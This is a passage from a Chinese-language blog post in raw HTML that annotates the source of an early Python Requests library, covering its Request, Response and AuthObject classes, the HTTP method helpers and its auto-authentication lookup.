class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Request</span><span class="params">(object)</span>:</span></div><div class="line">	<span class="string">"""The :class:`Request` object. It carries out all functionality of</span></div><div class="line">	Requests. Recommended interface is with the Requests functions.</div><div class="line">	</div><div class="line">	"""</div><div class="line">    </div><div class="line">	_METHODS = (<span class="string">'GET'</span>, <span class="string">'HEAD'</span>, <span class="string">'PUT'</span>, <span class="string">'POST'</span>, <span class="string">'DELETE'</span>)</div><div class="line">	</div><div class="line">	<span class="comment"># 初始化信息</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></div><div class="line">		self.url = <span class="keyword">None</span></div><div class="line">		self.headers = dict()</div><div class="line">		self.method = <span class="keyword">None</span></div><div class="line">		self.params = &#123;&#125;</div><div class="line">		self.data = &#123;&#125;</div><div class="line">		self.response = Response()</div><div class="line">		self.auth = <span class="keyword">None</span></div><div class="line">		self.sent = <span class="keyword">False</span></div><div class="line">	</div><div class="line">	<span class="comment"># repr 略过不提</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="keyword">try</span>:</div><div class="line">			repr = <span class="string">'&lt;Request [%s]&gt;'</span> % (self.method)</div><div class="line">		<span class="keyword">except</span>:</div><div class="line">			repr = <span class="string">'&lt;Request object&gt;'</span></div><div class="line">		<span class="keyword">return</span> repr</div><div class="line">	</div><div class="line">	<span class="comment"># 设置method时，会调用 __setattr__ 方法</span></div><div class="line">	<span class="comment"># 检查设置的值 是否在规定的方法 _METHODS 列表中</span></div><div class="line">	<span class="comment"># 若不在，则抛出 InvalidMethod 错误</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__setattr__</span><span class="params">(self, name, value)</span>:</span></div><div class="line">		<span class="keyword">if</span> (name == <span class="string">'method'</span>) <span class="keyword">and</span> (value):</div><div class="line">			<span class="keyword">if</span> <span class="keyword">not</span> value <span class="keyword">in</span> self._METHODS:</div><div class="line">				<span class="keyword">raise</span> InvalidMethod()</div><div class="line">		</div><div class="line">		object.__setattr__(self, name, value)</div><div class="line">	</div><div class="line">	<span class="comment"># 用于检查 url 是否设置</span></div><div class="line">	<span class="comment"># 若无设置，抛出 URLRequired 错误</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">_checks</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""Deterministic checks for consistiency."""</span></div><div class="line"></div><div class="line">		<span class="keyword">if</span> <span class="keyword">not</span> self.url:</div><div class="line">			<span class="keyword">raise</span> URLRequired</div><div class="line"></div><div class="line">	<span class="comment">#  opener对象</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">_get_opener</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">""" Creates appropriate opener object for urllib2.</span></div><div class="line">		"""</div><div class="line">		</div><div class="line">		<span class="comment"># 如果需要 认证</span></div><div class="line">		<span class="keyword">if</span> self.auth:</div><div class="line"></div><div class="line">			<span class="comment"># create a password manager</span></div><div class="line">			authr = urllib2.HTTPPasswordMgrWithDefaultRealm()</div><div class="line"></div><div class="line">			authr.add_password(<span class="keyword">None</span>, self.url, self.auth.username, self.auth.password)</div><div class="line">			handler = urllib2.HTTPBasicAuthHandler(authr)</div><div class="line">			opener = urllib2.build_opener(handler)</div><div class="line"></div><div class="line">			<span class="comment"># use the opener to fetch a URL</span></div><div class="line">			<span class="keyword">return</span> opener.open</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			<span class="comment"># 若无需认证</span></div><div class="line">			<span class="keyword">return</span> urllib2.urlopen</div><div class="line">	</div><div class="line">	。。。</div></pre></td></tr></table></figure></p>
<p>Request类主要用于发送请求，因此重点关注其中的<code>send</code>方法，注释中解释了几点：</p>
<ol>
<li>发送请求，成功返回<code>True</code>，失败返回<code>False</code></li>
<li>如果传输过程中出错，则<code>self.response.status_code</code>会包含错误代码</li>
<li>一旦请求成功发送，则Request类的<code>sent</code>属性会变为<code>True</code></li>
<li><code>anyway</code>参数若被设为True，则请求一定会被发送，不管是否曾发送过，</li>
</ol>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self, anyway=False)</span>:</span></div><div class="line">	<span class="string">"""Sends the request. Returns True of successfull, false if not.</span></div><div class="line">	    If there was an HTTPError during transmission,</div><div class="line">	    self.response.status_code will contain the HTTPError code.</div><div class="line"></div><div class="line">	    Once a request is successfully sent, `sent` will equal True.</div><div class="line">	</div><div class="line">	    :param anyway: If True, request will be sent, even if it has</div><div class="line">	    already been sent.</div><div class="line">	"""</div><div class="line">	self._checks()</div><div class="line"></div><div class="line">	success = <span class="keyword">False</span></div><div class="line">	</div><div class="line">	<span class="keyword">if</span> self.method <span class="keyword">in</span> (<span class="string">'GET'</span>, <span class="string">'HEAD'</span>, <span class="string">'DELETE'</span>):</div><div class="line">           <span class="comment"># 第一部分 ('GET', 'HEAD', 'DELETE')</span></div><div class="line"></div><div class="line">	<span class="keyword">elif</span> self.method == <span class="string">'PUT'</span>:</div><div class="line">           <span class="comment"># 第二部分 PUT</span></div><div class="line"></div><div class="line">	<span class="keyword">elif</span> self.method == <span class="string">'POST'</span>:</div><div class="line">           <span class="comment"># 第三部分 POST</span></div><div class="line">	</div><div class="line">	self.sent = <span class="keyword">True</span> <span class="keyword">if</span> success <span class="keyword">else</span> <span class="keyword">False</span></div><div class="line">	</div><div class="line">	<span class="keyword">return</span> success</div></pre></td></tr></table></figure>
<p>在send中，会先进行<code>self._checks()</code>检查：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">_checks</span><span class="params">(self)</span>:</span></div><div class="line">	<span class="string">"""Deterministic checks for consistiency."""</span></div><div class="line"></div><div class="line">	<span class="keyword">if</span> <span class="keyword">not</span> self.url:</div><div class="line">		<span class="keyword">raise</span> URLRequired</div></pre></td></tr></table></figure></p>
<p>这里只检测了URL是否设置，若没有则抛出<code>URLRequired</code>错误。然后根据<code>method</code>的不同分情况send请求，如果发送成功则success为True，sent变量也为True，然后返回success变量。</p>
<h3 id="‘GET’-‘HEAD’-‘DELETE’"><a href="#‘GET’-‘HEAD’-‘DELETE’" class="headerlink" title="‘GET’, ‘HEAD’, ‘DELETE’"></a>‘GET’, ‘HEAD’, ‘DELETE’</h3><p>添加注释，代码如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self, anyway=False)</span>:</span></div><div class="line">	。。。</div><div class="line"></div><div class="line">	<span class="keyword">if</span> self.method <span class="keyword">in</span> (<span class="string">'GET'</span>, <span class="string">'HEAD'</span>, <span class="string">'DELETE'</span>):</div><div class="line">		<span class="comment"># 若不曾发送过 或者 不管任何情况</span></div><div class="line">		<span class="keyword">if</span> (<span class="keyword">not</span> self.sent) <span class="keyword">or</span> anyway:   </div><div class="line"></div><div class="line">			<span class="comment"># 如果 params是dict类型的话，进行urlencode</span></div><div class="line">			<span class="comment"># url encode GET params if it's a dict</span></div><div class="line">			<span class="keyword">if</span> isinstance(self.params, dict):</div><div class="line">				params = urllib.urlencode(self.params)</div><div class="line">			<span class="keyword">else</span>:</div><div class="line"></div><div class="line">				params = self.params</div><div class="line"></div><div class="line">			<span class="comment"># 获取 _Request 对象</span></div><div class="line">			<span class="comment"># :param ("%s?%s" % (self.url, params)): 组装url</span></div><div class="line">			<span class="comment"># :param method : 请求方法</span></div><div class="line">			req = _Request((<span class="string">"%s?%s"</span> % (self.url, params)), method=self.method)</div><div class="line"></div><div class="line">			<span class="comment"># 若有设置 headers </span></div><div class="line">			<span class="keyword">if</span> self.headers:</div><div class="line">				req.headers = self.headers</div><div class="line"></div><div class="line">			<span class="comment"># 获取 opener 对象 ，</span></div><div class="line">			opener = self._get_opener()</div><div class="line"></div><div class="line">			<span class="keyword">try</span>:</div><div class="line">				<span class="comment"># 发出请求</span></div><div class="line">				resp = opener(req) </div><div class="line">				<span class="comment"># 状态码</span></div><div class="line">				self.response.status_code = resp.code</div><div class="line">				<span class="comment"># 头部信息</span></div><div class="line">				self.response.headers = resp.info().dict</div><div class="line">				</div><div class="line">				<span class="comment"># 由于在这个判断分支中处理 'GET' 'HEAD', 'DELETE'三种请求</span></div><div class="line">				<span class="comment"># 'HEAD', 'DELETE' 并不是为了获取内容, 他们根据 status_code 即可判断是否请求成功</span></div><div class="line">				<span class="comment"># 若请求方法是 GET , 则设置返回的响应</span></div><div class="line">				<span class="keyword">if</span> self.method.lower() == <span class="string">'get'</span>:</div><div class="line">					<span class="comment">#  设置响应的 content 值</span></div><div class="line">					self.response.content = resp.read()</div><div class="line">					</div><div class="line">				<span class="comment"># 请求成功,设置 success为 True</span></div><div class="line">				success = <span class="keyword">True</span></div><div class="line">			<span class="keyword">except</span> urllib2.HTTPError, why:</div><div class="line">				<span class="comment"># 请求出错, 设置错误码</span></div><div class="line">				self.response.status_code = why.code</div></pre></td></tr></table></figure>
<h3 id="‘PUT’"><a href="#‘PUT’" class="headerlink" title="‘PUT’"></a>‘PUT’</h3><p>添加注释，代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self, anyway=False)</span>:</span></div><div class="line">	。。。</div><div class="line">	<span class="comment"># 请求方法为 PUT</span></div><div class="line">	<span class="keyword">elif</span> self.method == <span class="string">'PUT'</span>:</div><div class="line">		<span class="keyword">if</span> (<span class="keyword">not</span> self.sent) <span class="keyword">or</span> anyway:</div><div class="line">			<span class="comment"># url 和 请求方法为PUT</span></div><div class="line">			req = _Request(self.url, method=<span class="string">'PUT'</span>)</div><div class="line"></div><div class="line">			<span class="keyword">if</span> self.headers:</div><div class="line">				req.headers = self.headers</div><div class="line"></div><div class="line">			<span class="comment"># 设置PUT请求体</span></div><div class="line">			req.data = self.data</div><div class="line"></div><div class="line">			<span class="keyword">try</span>:</div><div class="line">				opener = self._get_opener()</div><div class="line">				<span class="comment"># 发处请求</span></div><div class="line">				resp =  opener(req)</div><div class="line">				<span class="comment"># 设置响应</span></div><div class="line">				self.response.status_code = resp.code</div><div class="line">				self.response.headers = resp.info().dict</div><div class="line">				self.response.content = resp.read()</div><div class="line"></div><div class="line">				success = <span class="keyword">True</span></div><div class="line"></div><div class="line">			<span class="keyword">except</span> urllib2.HTTPError, why:</div><div class="line">				self.response.status_code = why.code</div></pre></td></tr></table></figure></p>
<h3 id="‘POST’"><a href="#‘POST’" class="headerlink" title="‘POST’"></a>‘POST’</h3><p>添加注释，代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self, anyway=False)</span>:</span></div><div class="line">	。。。</div><div class="line">	<span class="comment"># 请求方法为 POST</span></div><div class="line">	<span class="keyword">elif</span> self.method == <span class="string">'POST'</span>:</div><div class="line">		<span class="keyword">if</span> (<span class="keyword">not</span> self.sent) <span class="keyword">or</span> anyway</div><div class="line">			</div><div class="line">			<span class="comment"># url 和 请求方法为POST</span></div><div class="line">			req = _Request(self.url, method=<span class="string">'POST'</span>)</div><div class="line"></div><div class="line">			<span class="comment"># 设置 headers</span></div><div class="line">			<span class="keyword">if</span> self.headers:</div><div class="line">				req.headers = self.headers</div><div class="line"></div><div class="line">			<span class="comment"># 如果是dict的话，进行urlencode</span></div><div class="line">			<span class="comment"># url encode form data if it's a dict</span></div><div class="line">			<span class="keyword">if</span> isinstance(self.data, dict):</div><div class="line">				req.data = urllib.urlencode(self.data)</div><div class="line">			<span class="keyword">else</span>:</div><div class="line">				req.data = self.data</div><div class="line"></div><div class="line">			<span class="keyword">try</span>:</div><div class="line">				<span class="comment"># 获取opener</span></div><div class="line">				opener = self._get_opener()</div><div class="line"></div><div class="line">				<span class="comment"># 发出请求</span></div><div class="line">				resp =  opener(req)</div><div class="line">				</div><div class="line">				<span class="comment"># 设置响应</span></div><div class="line">				self.response.status_code = resp.code</div><div class="line">				self.response.headers = resp.info().dict</div><div class="line">				self.response.content = resp.read()</div><div class="line"></div><div class="line">				success = <span class="keyword">True</span></div><div class="line"></div><div class="line">			<span class="keyword">except</span> urllib2.HTTPError, why:</div><div class="line">				self.response.status_code = why.code</div></pre></td></tr></table></figure></p>
<h2 id="Response-类"><a href="#Response-类" class="headerlink" title="Response 类"></a>Response 类</h2><p>在 <code>Request</code>类中我们见到在Request初始化<code>__init__</code>时设置了<code>self.response = Response()</code>。然后根据请求方法的不同，设置状态码<code>self.response.status_code</code>、响应头部<code>self.response.headers</code>、响应内容<code>self.response.content</code> 。接下来就看看<code>response</code>类是如何实现的。</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/6.jpg" alt=""></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Response</span><span class="params">(object)</span>:</span></div><div class="line">    <span class="string">"""The :class:`Request` object. All :class:`Request` objects contain a</span></div><div class="line">    :class:`Request.response &lt;response&gt;` attribute, which is an instance of</div><div class="line">    this class.</div><div class="line">    """</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></div><div class="line">        self.content = <span class="keyword">None</span></div><div class="line">        self.status_code = <span class="keyword">None</span></div><div class="line">        self.headers = dict()</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(self)</span>:</span></div><div class="line">        <span class="keyword">try</span>:</div><div class="line">            repr = <span class="string">'&lt;Response [%s]&gt;'</span> % (self.status_code)</div><div class="line">        <span class="keyword">except</span>:</div><div class="line">            repr = <span class="string">'&lt;Response object&gt;'</span></div><div class="line">        <span class="keyword">return</span> repr</div></pre></td></tr></table></figure>
<h2 id="AuthObject-类"><a href="#AuthObject-类" class="headerlink" title="AuthObject 类"></a>AuthObject 类</h2><p>该类暂时仅在 <code>test_requests.py</code> 中出现，用于设置认证的用户名和密码。代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">AuthObject</span><span class="params">(object)</span>:</span></div><div class="line">    <span class="string">"""The :class:`AuthObject` is a simple HTTP Authentication token. When</span></div><div class="line">    given to a Requests function, it enables Basic HTTP Authentication for that</div><div class="line">    Request. You can also enable Authorization for domain realms with AutoAuth.</div><div class="line">    See AutoAuth for more details.s</div><div class="line"></div><div class="line">    :param username: Username to authenticate with.</div><div class="line">    :param password: Password for given username.</div><div class="line">    """</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, username, password)</span>:</span></div><div class="line">        self.username = username</div><div class="line">        self.password = password</div></pre></td></tr></table></figure></p>
<h2 id="请求方法"><a href="#请求方法" class="headerlink" title="请求方法"></a>请求方法</h2><p>get、post、put、delete和认证相关的方法 ，在代码结构上大同小异。</p>
<h3 id="get"><a href="#get" class="headerlink" title="get"></a>get</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(url, params=&#123;&#125;, headers=&#123;&#125;, auth=None)</span>:</span></div><div class="line">    <span class="string">"""Sends a GET request. Returns :class:`Response` object.</span></div><div class="line"></div><div class="line">    :param url: URL for the new :class:`Request` object.</div><div class="line">    :param params: (optional) Dictionary of GET Parameters to send with the :class:`Request`.</div><div class="line">    :param headers: (optional) Dictionary of HTTP Headers to sent with the :class:`Request`.</div><div class="line">    :param auth: (optional) AuthObject to enable Basic HTTP Auth.</div><div class="line">    """</div><div class="line">	<span class="comment"># 获取 Request对象</span></div><div class="line">    r = Request()</div><div class="line"></div><div class="line">	<span class="comment"># 设置基本的请求参数</span></div><div class="line">    r.method = <span class="string">'GET'</span></div><div class="line">    r.url = url</div><div class="line">    r.params = params</div><div class="line">    r.headers = headers</div><div class="line">	<span class="comment"># 设置认证信息</span></div><div class="line">    r.auth = _detect_auth(url, auth)</div><div class="line"></div><div class="line">	<span class="comment"># 发起请求</span></div><div class="line">    r.send()</div><div class="line"></div><div class="line">	<span class="comment"># 返回响应</span></div><div class="line">    <span class="keyword">return</span> r.response</div></pre></td></tr></table></figure>
<h3 id="head"><a href="#head" class="headerlink" title="head"></a>head</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">head</span><span class="params">(url, params=&#123;&#125;, headers=&#123;&#125;, auth=None)</span>:</span></div><div class="line">    <span class="string">"""Sends a HEAD request. Returns :class:`Response` object.</span></div><div class="line"></div><div class="line">    :param url: URL for the new :class:`Request` object.</div><div class="line">    :param params: (optional) Dictionary of GET Parameters to send with the :class:`Request`.</div><div class="line">    :param headers: (optional) Dictionary of HTTP Headers to sent with the :class:`Request`.</div><div class="line">    :param auth: (optional) AuthObject to enable Basic HTTP Auth.</div><div class="line">    """</div><div class="line">	<span class="comment"># 获取 Request对象</span></div><div class="line">    r = Request()</div><div class="line"></div><div class="line">	<span class="comment"># 设置基本信息</span></div><div class="line">    r.method = <span class="string">'HEAD'</span></div><div class="line">    r.url = url</div><div class="line">    <span class="comment"># return response object</span></div><div class="line">    r.params = params</div><div class="line">    r.headers = headers</div><div class="line">    r.auth = _detect_auth(url, auth)</div><div class="line"></div><div class="line">	<span class="comment"># 发处请求</span></div><div class="line">    r.send()</div><div class="line"></div><div class="line">	<span class="comment"># 返回响应</span></div><div class="line">    <span class="keyword">return</span> r.response</div></pre></td></tr></table></figure>
<h3 id="post"><a href="#post" class="headerlink" title="post"></a>post</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">post</span><span class="params">(url, data=&#123;&#125;, headers=&#123;&#125;, auth=None)</span>:</span></div><div class="line">    <span class="string">"""Sends a POST request. Returns :class:`Response` object.</span></div><div class="line"></div><div class="line">    :param url: URL for the new :class:`Request` object.</div><div class="line">    :param data: (optional) Dictionary of POST Data to send with the :class:`Request`.</div><div class="line">    :param headers: (optional) Dictionary of HTTP Headers to sent with the :class:`Request`.</div><div class="line">    :param auth: (optional) AuthObject to enable Basic HTTP Auth.</div><div class="line">    """</div><div class="line">	<span class="comment"># 获取Request对象</span></div><div class="line">    r = Request()</div><div class="line"></div><div class="line">	<span class="comment"># 设置基本信息</span></div><div class="line">    r.url = url</div><div class="line">    r.method = <span class="string">'POST'</span></div><div class="line">    r.data = data</div><div class="line"></div><div class="line">    r.headers = headers</div><div class="line">    r.auth = _detect_auth(url, auth)</div><div class="line"></div><div class="line">	<span class="comment"># 发起请求</span></div><div class="line">    r.send()</div><div class="line"></div><div class="line">	<span class="comment"># 返回响应</span></div><div class="line">    <span class="keyword">return</span> r.response</div></pre></td></tr></table></figure>
<h3 id="put"><a href="#put" class="headerlink" title="put"></a>put</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">put</span><span class="params">(url, data=<span class="string">''</span>, headers=&#123;&#125;, auth=None)</span>:</span></div><div class="line">    <span class="string">"""Sends a PUT request. Returns :class:`Response` object.</span></div><div class="line"></div><div class="line">    :param url: URL for the new :class:`Request` object.</div><div class="line">    :param data: (optional) Bytes of PUT Data to send with the :class:`Request`.</div><div class="line">    :param headers: (optional) Dictionary of HTTP Headers to sent with the :class:`Request`.</div><div class="line">    :param auth: (optional) AuthObject to enable Basic HTTP Auth.</div><div class="line">    """</div><div class="line">	<span class="comment"># 获取Request对象</span></div><div class="line">    r = Request()</div><div class="line"></div><div class="line">	<span class="comment"># 设置基本信息</span></div><div class="line">    r.url = url</div><div class="line">    r.method = <span class="string">'PUT'</span></div><div class="line">    r.data = data</div><div class="line"></div><div class="line">    r.headers = headers</div><div class="line">    r.auth = _detect_auth(url, auth)</div><div class="line"></div><div class="line">	<span class="comment"># 发起请求</span></div><div class="line">    r.send()</div><div class="line"></div><div class="line">	<span class="comment"># 返回响应</span></div><div class="line">    <span class="keyword">return</span> r.response</div></pre></td></tr></table></figure>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(url, params=&#123;&#125;, headers=&#123;&#125;, auth=None)</span>:</span></div><div class="line">    <span class="string">"""Sends a DELETE request. Returns :class:`Response` object.</span></div><div class="line"></div><div class="line">    :param url: URL for the new :class:`Request` object.</div><div class="line">    :param params: (optional) Dictionary of GET Parameters to send with the :class:`Request`.</div><div class="line">    :param headers: (optional) Dictionary of HTTP Headers to sent with the :class:`Request`.</div><div class="line">    :param auth: (optional) AuthObject to enable Basic HTTP Auth.</div><div class="line">    """</div><div class="line"></div><div class="line">	<span class="comment"># 获取Request对象</span></div><div class="line">    r = Request()</div><div class="line"></div><div class="line">	<span class="comment"># 设置基本信息</span></div><div class="line">    r.url = url</div><div class="line">    r.method = <span class="string">'DELETE'</span></div><div class="line">    <span class="comment"># return response object</span></div><div class="line"></div><div class="line">    r.headers = headers</div><div class="line">    r.auth = _detect_auth(url, auth)</div><div class="line"></div><div class="line">	<span class="comment"># 发起请求</span></div><div class="line">    r.send()</div><div class="line"></div><div class="line">	<span class="comment"># 返回响应</span></div><div class="line">    <span class="keyword">return</span> r.response</div></pre></td></tr></table></figure>
<h2 id="认证相关"><a href="#认证相关" class="headerlink" title="认证相关"></a>认证相关</h2><p>从上面的请求方法实现中，可以发现有的请求带了如<code>r.auth = _detect_auth(url, auth)</code><br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/7.jpg" alt=""></p>
<p>对于种种请求方法，我们不想在每次请求中都明确指出这次请求需不需要认证，但有些请求确实需要认证，因此在各种请求方法中都有一个可选参数<code>auth=None</code>，然后通过调用<code>r.auth = _detect_auth(url, auth)</code>来进一步设置。<code>_detect_auth</code>代码如下</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">_detect_auth</span><span class="params">(url, auth)</span>:</span></div><div class="line">    <span class="string">"""Returns registered AuthObject for given url if available, defaulting to</span></div><div class="line">    given AuthObject."""</div><div class="line"></div><div class="line">    <span class="keyword">return</span> _get_autoauth(url) <span class="keyword">if</span> <span class="keyword">not</span> auth <span class="keyword">else</span> auth</div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">_get_autoauth</span><span class="params">(url)</span>:</span></div><div class="line">    <span class="string">"""Returns registered AuthObject for given url if available.</span></div><div class="line">    """</div><div class="line"></div><div class="line">    <span class="keyword">for</span> (autoauth_url, auth) <span class="keyword">in</span> AUTOAUTHS:</div><div class="line">        <span class="keyword">if</span> autoauth_url <span class="keyword">in</span> url:</div><div class="line">            <span class="keyword">return</span> auth</div><div class="line"></div><div class="line">    <span class="keyword">return</span> <span class="keyword">None</span></div></pre></td></tr></table></figure>
<p>对于明确指出需要认证的请求，自然<code>auth</code>参数也会指定。如果<code>auth</code>参数没有指定，则会调用<code>_get_autoauth</code>来查看是否有对应的规则。这个规则列表则由全局变量<code>AUTOAUTHS</code>来维护，如果请求的url包含<code>autoauth_url</code>，则返回<code>autoauth_url</code>对应的auth。如果不包含，则直接返回<code>None</code>。</p>
<p>为了维护这个全局变量<code>AUTOAUTHS</code>，它实现了一个<code>add_autoauth</code>方法如下：</p>
